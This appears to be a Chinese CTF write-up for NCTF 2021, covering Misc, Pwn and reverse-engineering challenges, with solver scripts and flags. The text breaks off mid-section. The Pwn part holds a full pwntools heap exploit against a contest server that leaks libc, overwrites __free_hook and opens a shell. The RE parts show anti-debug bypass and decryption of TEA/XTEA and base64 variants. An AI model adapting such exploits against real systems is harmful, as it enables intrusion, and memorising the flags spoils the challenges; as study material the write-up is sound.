2021NCTF比赛WP

2021NCTF比赛WP

Misc

SignIn

跳转链接到了https://nctf.h4ck.fun/challenges/NCTF%7BWelcome_to_NCTF_2021!%7D

所以得到flag

NCTF{Welcome_to_NCTF_2021!}

Hello File Format

提示说1920*1080,然后看一下这个bin文件大小为6220800

发现这个大小正好是1920*1080*3

直接联想到了画图咯

from PIL import Image
pic = Image.new('RGB',(1920,1080),(255,255,255))
f = open('GPU data.bin','rb').read()
for i in range(1080):
for j in range(1920):
R,G,B = f[(j+i*1920)*3],f[(j+i*1920)*3+1],f[(j+i*1920)*3+2]
pic.putpixel((j,i),(R,G,B))
pic.show()

NCTF{TGA_NOT_GTA}

做题做累了来玩玩游戏吧

notepad++全局搜NCTF

访问那个链接就是flag了

http://h4ck.fun/g4me.txt

NCTF{B9F3C1F2-1E65-481C-8AF3-A78FA7A5EB6A}

Pwn

ezheap

思路
有uaf漏洞,直先add+free一波接填满tcache并实现fastbin里出现重复chunk,用泄露函数直接泄露堆地址,然后申请到tcache控制结构体,修改记录tcache里chunk数量的部分,释放tcache控制结构体到unsortedbin,用泄露函数直接泄露libc地址,再打__free_hook就行了。
exp

from pwn import *

#p=process('./ezheap')
p=remote('129.211.173.64',10002)
#context.log_level='debug'
elf=ELF('./ezheap')
libc=ELF("./libc-2.33.so")
#libc=elf.libc
def menu(id):
p.sendlineafter('>> ',str(id))

def add(size,con):
menu(1)
p.sendlineafter('Size: ',str(size))
p.sendlineafter('Content: ',str(con))

def edit(id,con):
menu(2)
p.sendlineafter('Index: ',str(id))
p.sendlineafter('Content: ',str(con))

def delete(id):
menu(3)
p.sendlineafter('Index: ',str(id))

def show(id):
menu(4)
p.sendlineafter('Index: ',str(id))

for i in range(9):
add(0x60,'aaaa')

for i in range(9):
delete(i)

delete(7)
show(7)

heap=u64(p.recv(6).ljust(8,'\x00'))-0x610
success('heap:'+hex(heap))

for i in range(7):
add(0x60,'bbbb')

add(0x60,p64(heap+0x10))
add(0x60,'aaaa')
add(0x60,'aaaa')
add(0x60,'aaaa')
edit(15,'\xff'*0x60)
delete(15)
show(15)

libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x70-libc.sym['__malloc_hook']

#gdb.attach(p)
success('libc_base:'+hex(libc_base))
add(0x80,'\x00'*0x8+'\x01'+'\x00'*0x60)
add(0x20,'\x00'*0x10+p64(libc_base+libc.sym['__free_hook']))
add(0x50,p64(libc_base+libc.sym['system']))
add(0x20,'/bin/sh\x00')
delete(15)

p.interactive()

RE

Hello せかい

附件找不到了,总之就是签到题。

Shadowbringer

c++64位程序,ida载入

std::string::string(v4, "U>F2UsQXN`5sXMELT=:7M_2<X]^1ThaWF0=KM?9IUhAsTM5:T==_Ns&<Vhb!", &v6);
std::allocator<char>::~allocator(&v6);
std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "Welcome.Please input your flag:\n");
std::operator>><char>(refptr__ZSt3cin, (std::string *)input);
std::string::string((std::string *)v8, (const std::string *)input);// strcpy
base64encode1((std::string *)v7, (std::string *)v8);// 换表的base64
std::string::operator=((std::string *)input, (const std::string *)v7);// 赋值 第一层密文
std::string::~string((std::string *)v7);
std::string::~string((std::string *)v8);
std::string::string((std::string *)v10, (const std::string *)input);// 复制一个对象v10
base64encode2((std::string *)v9, (std::string *)v10); // base64换表 两次 不同的表
std::string::operator=((std::string *)input, (const std::string *)v9);
std::string::~string((std::string *)v9);
std::string::~string((std::string *)v10);
if ( (unsigned __int8)std::operator==<char>(input, v4) )
std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "Right.");
else
std::operator<<<std::char_traits<char>>(refptr__ZSt4cout, "Wrong.");
std::string::~string((std::string *)v4);

主要用到了c++ string类来进行处理,结合动调,大致经过了两次base64变表加密,在和v4进行比较。
第一组表,

'#$%&',27h,'()*+,-.s0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[h]'+'^_`ab'

第二组表

'ba`_^]h[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210s.-,+*)(',27h,'&''+'%$#'

两次加密的代码大致相同,主要通过表的长度和每次处理的二进制长度判断为base64.

std::bitset<8ull>::to_string(v13, v14);     // 转为2进制
for ( j = 0; j < (unsigned __int64)std::string::size((std::string *)&v9); j += 6 )// 6个二进制一组
v7 = (char *)std::string::operator[](&hisoralce, v6);//表索引

while ( (std::string::size(a1) & 3) != 0 )
{
std::operator+<char>(v19, a1, '!');
std::string::operator=(a1, (const std::string *)v19);
std::string::~string((std::string *)v19);
}
//不为4的倍数就不断+!

了解流程后写解密脚本即可

import base64
table1='#$%&'+'\x27'+'()*+,-.s0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[h]'+'^_`ab'
table2='ba`_^]h[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210s.-,+*)('+'\x27'+'&%$#'
base='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
enc='U>F2UsQXN`5sXMELT=:7M_2<X]^1ThaWF0=KM?9IUhAsTM5:T==_Ns&<Vhb!'
#enc='FsJ7M?b<U->2M>U:'#123456789测试
def newbase(enc,table):
m=''
for i in range(len(enc)):
if enc[i] in table:
m+=base[table.index(enc[i])]
else:
m+='='
print(base64.b64decode(m))
return base64.b64decode(m)
c1=newbase(enc,table2).decode()
newbase(c1,table1)
#NCTF{H0m3_r1d1n9_h0m3_dy1n9_h0p3}

鲨鲨的秘密

32位程序,ida载入

IpAdress = malloc(0x20u);
VirtualProtect(IpAdress, 0x20u, 0x40u, &flOldProtect);
dword_404E48 = (int)IpAdress;
*(_BYTE *)IpAdress = 0xC3; // ret的机器码
((void (*)(void))IpAdress)

刚载入就有种莫名其妙的熟悉感,和西湖论剑的一道逆向题思路差不多,又是体力活。
是一种修改代码的操作数并单语句执行的SMC,通过一个数组来确定赋值代码长度的大小,和选定相应的操作数和修改的位置。

挖出汇编代码,结合动调分析语句还原算法。

mov     ds:dword_403474, 0FFFFFFFFh            // mov output ,0xffffffff
mov ecx, ds:dword_403464 // mov ecx,index(0)
mov dl, byte ptr ds:VirtualProtect[ecx] // mov dl,input[0]
mov byte ptr ds:dword_403470, dl // mov temp,dl
movzx eax, byte ptr ds:dword_403470 // mov eax, temp 输入传给eax
xor eax, ds:dword_403474 // xor eax,output 取反类似
mov byte ptr ds:dword_403470, al // mov temp , al 保存取反的值
movzx ecx, byte ptr ds:dword_403470 // mov ecx,temp
and ecx, 0FFh // and ecx,0xff
mov byte ptr ds:dword_403470, cl // mov temp,cl
mov edx, ds:dword_403474 // mov edx,output
shr edx, 8 // shr edx,8
mov ds:dword_403474, edx // mov output,edx
movzx eax, byte ptr ds:dword_403470 // mov eax,temp
mov ecx, ds:dword_403474 // mov ecx,output
xor ecx, dword ptr ds:byte_403058[eax*4] // xor ecx, sbox[4*eax] //174841BC xor sbox[4*0x9e] 结果保存到output
mov ds:dword_403474, ecx
mov edx, ds:dword_403464 ....
mov al, [edx+403005h]
mov byte ptr ds:dword_403470, al
movzx ecx, byte ptr ds:dword_403470
xor ecx, ds:dword_403474
mov byte ptr ds:dword_403470, cl
mov edx, ds:dword_403474
shr edx, 8
mov ds:dword_403474, edx
movzx eax, byte ptr ds:dword_403470
mov ecx, ds:dword_403474
xor ecx, dword ptr ds:byte_403058[eax*4] //xor ecx,sbox[4*eax] //eax 0xdd
mov ds:dword_403474, ecx //mov output,ecx
mov edx, ds:dword_403474 //mov edx,output
xor edx, 0FFFFFFFFh //xor edx, 0FFFFFFFFh
mov ds:dword_403474, edx //mov output edx

python代码如下

input='a'*40
output=0xffffffff
for index in range(0,40,2):
tmp=(ord(input[index])^output)&0xff
output=output>>8
output=output^somebox[tmp]
#print("%x %x"%(tmp,output))
tmp = (ord(input[index+1]) ^ output) & 0xff
output = output >> 8
output = output ^ somebox[tmp]
output=output^0xffffffff
print("%x %x" % (tmp, output))

可知是两个字节为一组进行的处理,z3解因为涉及下标问题不好下手,所以直接爆破。

somebox=[0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D]
enc=[0xC0F6605E, 0x00B16E0A, 0x3319A2D2, 0x57CAB7B7, 0x9A646D9C, 0xBDD82726, 0xD838FB91, 0x8DE10BB3, 0x176B0DAD, 0x685FDEEF, 0x2C1FF7B1, 0x6C444296, 0xA15CFE90, 0x20CD8721, 0x62967CE8, 0x2C1641FD, 0x572D0F9A, 0xAE52DC2C, 0x50497DCF, 0xFF6ABF4A]
s=''
enc=[0xC0F6605E, 0x00B16E0A, 0x3319A2D2, 0x57CAB7B7, 0x9A646D9C, 0xBDD82726, 0xD838FB91, 0x8DE10BB3, 0x176B0DAD, 0x685FDEEF, 0x2C1FF7B1, 0x6C444296, 0xA15CFE90, 0x20CD8721, 0x62967CE8, 0x2C1641FD, 0x572D0F9A, 0xAE52DC2C, 0x50497DCF, 0xFF6ABF4A]
for i in range(20):
for m in range(32,128):
for n in range(32,128):
output = 0xffffffff
tmp=(m^output)&0xff
output=output>>8
output=output^somebox[tmp]
#print("%x %x"%(tmp,output))
tmp = (n ^ output) & 0xff
output = output >> 8
output = output ^ somebox[tmp]
output=output^0xffffffff
if output==enc[i]:
s+=chr(m)+chr(n)

print(s)
#NCTF{rLdE57TG0iHA39qUnFZp6LeJyYEBcxMNL7}

狗狗的秘密

挺不错的,解完想暴打出题人。
32位程序,ida载入获得假flag一枚
不过main之前有个TlsCallback函数,直接下个断点,动态分析。

if ( !v9 && !IsDebuggerPresent() )
{
off_825014 = (int (__cdecl *)(_DWORD))sub_823000;
v8 = (unsigned int *)((char *)sub_823000 + 256);
for ( i = 0; i < 24; ++i )
v8 += 2;
for ( j = 0; j < 24; ++j )
{
v8 -= 2;
sub_8211F0(v8);
}
}

反调试,off_825014在主函数出现过,但是个假逻辑,所以这部分内容是SMC修改技术。

unsigned int __cdecl sub_8211F0(unsigned int *a1)
{
unsigned int result; // eax
int i; // [esp+0h] [ebp-Ch]
unsigned int v3; // [esp+4h] [ebp-8h]
unsigned int v4; // [esp+8h] [ebp-4h]

v4 = *a1;
v3 = a1[1];
for ( i = 0; i < 64; ++i )
{
v3 -= (dword_825004[(*(_DWORD *)delta >> 11) & 3] + *(_DWORD *)delta) ^ (v4 + ((v4 >> 5) ^ (16 * v4)));
*(_DWORD *)delta += dword_825000;
v4 -= (dword_825004[delta[0] & 3] + *(_DWORD *)delta) ^ (v3 + ((v3 >> 5) ^ (16 * v3)));
}
*a1 = v4;
result = v3;
a1[1] = v3;
return result;
}

直接改eip绕过这个反调试即可,同时修改代码用的xTea,不过delta的值有个小坑,main函数中有个创建线程的函数,将delta赋值为0xDA76C600,patch进行修改,后面下个断F9。
修复函数后拿到真正处理逻辑。

int __cdecl sub_823000(const char *a1)
{
signed int v2; // [esp+0h] [ebp-98h]
unsigned int v3; // [esp+10h] [ebp-88h]
signed int v4; // [esp+1Ch] [ebp-7Ch]
int v5; // [esp+2Ch] [ebp-6Ch]
int v6; // [esp+2Ch] [ebp-6Ch]
char v7; // [esp+32h] [ebp-66h]
signed int Size; // [esp+34h] [ebp-64h]
unsigned int v9; // [esp+38h] [ebp-60h]
int k; // [esp+38h] [ebp-60h]
unsigned __int8 *v11; // [esp+3Ch] [ebp-5Ch]
int i; // [esp+40h] [ebp-58h]
signed int j; // [esp+40h] [ebp-58h]
signed int m; // [esp+40h] [ebp-58h]
signed int n; // [esp+40h] [ebp-58h]
signed int ii; // [esp+40h] [ebp-58h]
char v17[62]; // [esp+44h] [ebp-54h]
int v18; // [esp+82h] [ebp-16h]
int v19; // [esp+86h] [ebp-12h]
int v20; // [esp+8Ah] [ebp-Eh]
int v21; // [esp+8Eh] [ebp-Ah]
__int16 v22; // [esp+92h] [ebp-6h]

v3 = strlen(a1);
Size = 146 * v3 / 0x64 + 1;
v4 = 0;
v11 = (unsigned __int8 *)malloc(Size);
v17[0] = 82;
v17[1] = -61;
v17[2] = 26;
v17[3] = -32;
v17[4] = 22;
v17[5] = 93;
v17[6] = 94;
v17[7] = -30;
v17[8] = 103;
v17[9] = 31;
v17[10] = 31;
v17[11] = 6;
v17[12] = 6;
v17[13] = 31;
v17[14] = 23;
v17[15] = 6;
v17[16] = 15;
v17[17] = -7;
v17[18] = 6;
v17[19] = 103;
v17[20] = 88;
v17[21] = -78;
v17[22] = -30;
v17[23] = -116;
v17[24] = 15;
v17[25] = 42;
v17[26] = 6;
v17[27] = -119;
v17[28] = -49;
v17[29] = 42;
v17[30] = 6;
v17[31] = 31;
v17[32] = -104;
v17[33] = 26;
v17[34] = 62;
v17[35] = 23;
v17[36] = 103;
v17[37] = 31;
v17[38] = -9;
v17[39] = 58;
v17[40] = 68;
v17[41] = -61;
v17[42] = 22;
v17[43] = 51;
v17[44] = 105;
v17[45] = 26;
v17[46] = 117;
v17[47] = 22;
v17[48] = 62;
v17[49] = 23;
v17[50] = -43;
v17[51] = 105;
v17[52] = 122;
v17[53] = 27;
v17[54] = 68;
v17[55] = 68;
v17[56] = 62;
v17[57] = 103;
v17[58] = -9;
v17[59] = -119;
v17[60] = 103;
v17[61] = -61;
v18 = 0;
v19 = 0;
v20 = 0;
v21 = 0;
v22 = 0;
memset(v11, 0, Size);
v9 = 0;
for ( i = 0; i < 256; ++i )
{
v7 = byte_825018[i];
byte_825018[i] = byte_825018[(i + *((unsigned __int8 *)&delta + i % 4)) % 256];// delta变为0了
byte_825018[(i + *((unsigned __int8 *)&delta + i % 4)) % 256] = v7;
}
while ( v9 < strlen(a1) )
{
v5 = a1[v9];
for ( j = 146 * v3 / 0x64; ; --j )
{
v6 = v5 + (v11[j] << 8);
v11[j] = v6 % 47;
v5 = v6 / 47;
if ( j < v4 )
v4 = j;
if ( !v5 && j <= v4 )
break;
}
++v9;
}
for ( k = 0; !v11[k]; ++k )
;
for ( m = 0; m < Size; ++m )
v11[m] = byte_825118[v11[k++]]; // 单表替换
while ( m < Size )
v11[m++] = 0;
v2 = strlen((const char *)v11);
for ( n = 0; n < v2; ++n )
v11[n] ^= byte_825018[v11[n]]; // 异或处理
for ( ii = 0; ii < v2; ++ii )
{
if ( v11[ii] != (unsigned __int8)v17[ii] )
{
printf("Wrong!\n", v2);
exit(0);
}
}
printf("Right!\n", v2);
return 0;
}

delta的值是0,需要注意一下,接着就是写脚本逆向,z3不好直接求解,加密流程是先将输入转为47进制下每位的值存在数组v11中,找到第一个非0值的下标k,接着进行单表替换和异或。
因为涉及到表索引和本身异或不好逆向还原,所以想着在爆破v11数组。

enc=[0x52, 0xC3, 0x1A, 0xE0, 0x16, 0x5D, 0x5E, 0xE2, 0x67, 0x1F, 0x1F, 0x06, 0x06, 0x1F, 0x17, 0x06, 0x0F, 0xF9, 0x06, 0x67, 0x58, 0xB2, 0xE2, 0x8C, 0x0F, 0x2A, 0x06, 0x89, 0xCF, 0x2A, 0x06, 0x1F, 0x98, 0x1A, 0x3E, 0x17, 0x67, 0x1F, 0xF7, 0x3A, 0x44, 0xC3, 0x16, 0x33, 0x69, 0x1A, 0x75, 0x16, 0x3E, 0x17, 0xD5, 0x69, 0x7A, 0x1B, 0x44, 0x44, 0x3E, 0x67, 0xF7, 0x89, 0x67, 0xC3]
c=[]
for i in range(61):
temp=[]
for j in range(47):
tmp=tb2[j]
tmp=tmp^table[tmp]
if tmp==enc[i]:
temp.append(j)
if len(temp)==1:
c.append(temp[0])
else:
c.append(temp)
c.insert(0,0)

#[0, 2, 0, [33, 45], 44, 30, 40, 8, 23, [7, 11, 22], [34, 37], [34, 37], [19, 20, 43], [19, 20, 43], [34, 37], 24, [19, 20, 43], [4, 31], 29, [19, 20, 43], [7, 11, 22], 13, 5, 23, 41, [4, 31], 35, [19, 20, 43], 9, 14, 35, [19, 20, 43], [34, 37], 3, [33, 45], 10, 24, [7, 11, 22], [34, 37], 38, 1, 25, 0, 30, 6, 42, [33, 45], 36, 30, 10, 24, 21, 42, 26, 28, 25, 25, 10, [7, 11, 22], 38, 9, [7, 11, 22]]

v11第一位是0,根据加密的最后一位是0xc3,或者多次测试都可知,不过这解有点多,下面就是对c进行排列组合,之后47进制转,long_to_bytes下即可,不过这…..tmd,dfs不太会写,直接硬爆破了,大概跑了半小时,直接整emo了。
完整如下

from Crypto.Util.number import *


def dododo(c):
sum = 0
for i in range(62):
sum += c[i] * pow(47, 61 - i)
m=long_to_bytes(sum)
try:
flag=m.decode()
print(flag)
exit(0)
except:
pass


enc=[0x52, 0xC3, 0x1A, 0xE0, 0x16, 0x5D, 0x5E, 0xE2, 0x67, 0x1F, 0x1F, 0x06, 0x06, 0x1F, 0x17, 0x06, 0x0F, 0xF9, 0x06, 0x67, 0x58, 0xB2, 0xE2, 0x8C, 0x0F, 0x2A, 0x06, 0x89, 0xCF, 0x2A, 0x06, 0x1F, 0x98, 0x1A, 0x3E, 0x17, 0x67, 0x1F, 0xF7, 0x3A, 0x44, 0xC3, 0x16, 0x33, 0x69, 0x1A, 0x75, 0x16, 0x3E, 0x17, 0xD5, 0x69, 0x7A, 0x1B, 0x44, 0x44, 0x3E, 0x67, 0xF7, 0x89, 0x67, 0xC3]
table=[0x21, 0x43, 0x65, 0x87, 0x09, 0x21, 0x43, 0x65, 0xA2, 0x9B, 0xF4, 0xDF, 0xAC, 0x7C, 0xA1, 0xC6, 0x16, 0xD0, 0x0F, 0xDD, 0xDC, 0x73, 0xC5, 0x6B, 0xD1, 0x96, 0x47, 0xC2, 0x26, 0x67, 0x4E, 0x41, 0x82, 0x20, 0x56, 0x9A, 0x6E, 0x33, 0x92, 0x88, 0x29, 0xB5, 0xB4, 0x71, 0xA9, 0xCE, 0xC3, 0x34, 0x50, 0x59, 0xBF, 0x2D, 0x57, 0x22, 0xA6, 0x30, 0x04, 0xB2, 0xCD, 0x36, 0xD5, 0x68, 0x4D, 0x5B, 0x45, 0x9E, 0x85, 0xCF, 0x9D, 0xCC, 0x61, 0x78, 0x32, 0x76, 0x31, 0xE3, 0x80, 0xAD, 0x39, 0x4F, 0xFA, 0x72, 0x83, 0x4C, 0x86, 0x60, 0xB7, 0xD7, 0x63, 0x0C, 0x44, 0x35, 0xB3, 0x7B, 0x19, 0xD4, 0x69, 0x08, 0x0B, 0x1F, 0x3D, 0x11, 0x79, 0xD3, 0xEE, 0x93, 0x42, 0xDE, 0x23, 0x3B, 0x5D, 0x8D, 0xA5, 0x77, 0x5F, 0x58, 0xDB, 0x97, 0xF6, 0x7A, 0x18, 0x52, 0x15, 0x74, 0x25, 0x62, 0x2C, 0x05, 0xE8, 0x0D, 0x98, 0x2A, 0x43, 0xE2, 0xEF, 0x48, 0x87, 0x49, 0x1C, 0xCA, 0x2B, 0xA7, 0x8A, 0x09, 0x81, 0xE7, 0x53, 0xAA, 0xFF, 0x6F, 0x8E, 0x91, 0xF1, 0xF0, 0xA4, 0x46, 0x3A, 0x7D, 0x54, 0xEB, 0x2F, 0xC1, 0xC0, 0x0E, 0xBD, 0xE1, 0x6C, 0x64, 0xBE, 0xE4, 0x02, 0x3C, 0x5A, 0xA8, 0x9F, 0x37, 0xAF, 0xA0, 0x13, 0xED, 0x1B, 0xEC, 0x8B, 0x3E, 0x7E, 0x27, 0x99, 0x75, 0xAB, 0xFE, 0xD9, 0x3F, 0xF3, 0xEA, 0x70, 0xF7, 0x95, 0xBA, 0x1D, 0x40, 0xB0, 0xF9, 0xE5, 0xF8, 0x06, 0xBC, 0xB6, 0x03, 0xC9, 0x10, 0x9C, 0x2E, 0x89, 0x5C, 0x7F, 0xB1, 0x1A, 0xD6, 0x90, 0xAE, 0xDA, 0xE6, 0x5E, 0xB9, 0x84, 0xE9, 0x55, 0xBB, 0xC7, 0x0A, 0xE0, 0x66, 0xF2, 0xD8, 0xCB, 0x00, 0x12, 0xB8, 0x17, 0x94, 0x6A, 0x4A, 0x01, 0x24, 0x14, 0x51, 0x07, 0x65, 0x21, 0xC8, 0x38, 0xFD, 0x8F, 0xC4, 0xF5, 0xFC]
#delta=[0,0xc6,0x76,0xda]
tb2=[0xA7, 0x1C, 0x7E, 0xAF, 0xD9, 0xC2, 0xC0, 0xBE, 0x1F, 0x45, 0x9A, 0x85, 0x26, 0xE3, 0x87, 0xC3, 0x21, 0xE0, 0x95, 0x10, 0x71, 0x70, 0x02, 0x75, 0x35, 0xA5, 0x1D, 0x0D, 0x2F, 0xEE, 0x25, 0x7B, 0xB5, 0x82, 0x66, 0x8D, 0xDB, 0x53, 0x3A, 0x29, 0xD4, 0x43, 0x99, 0x97, 0x9D, 0xE8, 0x49, 0x00]

c=[]

for i in range(61):
temp=[]
for j in range(47):
tmp=tb2[j]
tmp=tmp^table[tmp]
if tmp==enc[i]:
temp.append(j)
if len(temp)==1:
c.append(temp[0])
else:
c.append(temp)
c.insert(0,0)
print(c)
for i in c:
if isinstance(i,int):
pass
else:
print(i)
c[3]=45
tblen=[]
l=1
index=[]
for i in range(len(c)):
try:
tblen.append(len(c[i]))
l*=len(c[i])
index.append(i)
except:
tblen.append(1)

print(tblen)
print(index)

sum=0
t1=[7, 11, 22]
t2=[34, 37]
t3=[19, 20, 43]
t4=[4, 31]
t5=[33, 45]


for a1 in range(3):
c[9]=t1[a1]
for a2 in range(2):
c[10]=t2[a2]
for a3 in range(2):
c[11]=t2[a3]
for a4 in range(3):
c[12]=t3[a4]
for a5 in range(3):
c[13]=t3[a5]
for a6 in range(2):
c[14]=t2[a6]
for a7 in range(3):
c[16]=t3[a7]
for a8 in range(2):
c[17]=t4[a8]
for a9 in range(3):
c[19]=t3[a9]
for a10 in range(3):
c[20]=t1[a10]
for a11 in range(2):
c[25]=t4[a11]
for a12 in range(3):
c[27]=t3[a12]
for a13 in range(3):
c[31]=t3[a13]
for a14 in range(2):
c[32]=t2[a14]
for a15 in range(2):
c[34]=t5[a15]
for a16 in range(3):
c[37]=t1[a16]
for a17 in range(2):
c[38]=t2[a17]
for a18 in range(2):
c[46]=t5[a18]
for a19 in range(3):
c[58]=t1[a19]
for a20 in range(3):
c[61]=t1[a20]
dododo(c)

#NCTF{ADF0E239-D911-3781-7E40-A575A19E5835}

*easy_mobile

为了保7-10名拿衣服纪念品所以控分没交
so被ollvm了,1400行。

但是我用deflat去混淆,最后只剩三分一的代码?,没法只能用原来的看。

我尝试去动调,发现下不了断点?

想到只有1400行而已。

然后我比较菜,花了一个多小时才整理了逻辑。

首先,我在719行找到了获取输入

然后发现判断长度为24

交叉索引我们的输入

发现,程序会将前16个字节分成4个字节一组分成四组的进行操作,最后8个字节分成两组。

我先看了程序对后面八个字节进行了什么操作

image-20211129012800370

他作为输入传进了下面这个函数。并且上面还将一个长为16字节的字符串传了进去

跟进去看了一下

image-20211129012844350

我顿时反应过来了,这和tea怎么那么像?

然后我手动恢复了一下

image-20211129012924350

这不就是改了delta但还是原汁原味的tea吗?而且他a2就是我们传入的第二个字符串,那就是KEY

我直接用我祖传脚本梭哈得到了我们后8个字符。

#include <stdio.h>  
#include <stdint.h>

//加密函数
void encrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0, i; /* set up */
uint32_t delta = 0x9e3779b9; /* a key schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
} /* end cycle */
v[0] = v0; v[1] = v1;
}
//解密函数
void decrypt(unsigned int* v, unsigned int* k) {
unsigned int v0 = v[0], v1 = v[1], i;
int sum = 0x12345678 << 5;/* set up */
uint32_t delta = 0x12345678; // 0x9e3779b8 /* a key schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++) { /* basic cycle start */
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
} /* end cycle */
v[0] = v0; v[1] = v1;
}

int main()
{
unsigned int v[2] = { 0xC65AEDA,0xADBF8DB1 }, k[4] = { 1634232689, 1852399976, 1851879017, 1835101793 };

// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
//printf("%x %xx\n", v[0], v[1]);
decrypt(v, k);
printf("%x %x\n", v[0], v[1]);

puts((char*)v);
//58af2715c
return 0;
}

然后去继续交叉索引到第一次被调用的地方
然后理解一下

就是将我们的前4个字符,保存在一个int32x4的数据类型中,可以理解为他是一个大小为四的int32类型数组。
下面一样的操作,当取完前16个字节后,他会取一些常量,如下

然后整理一下就是这也

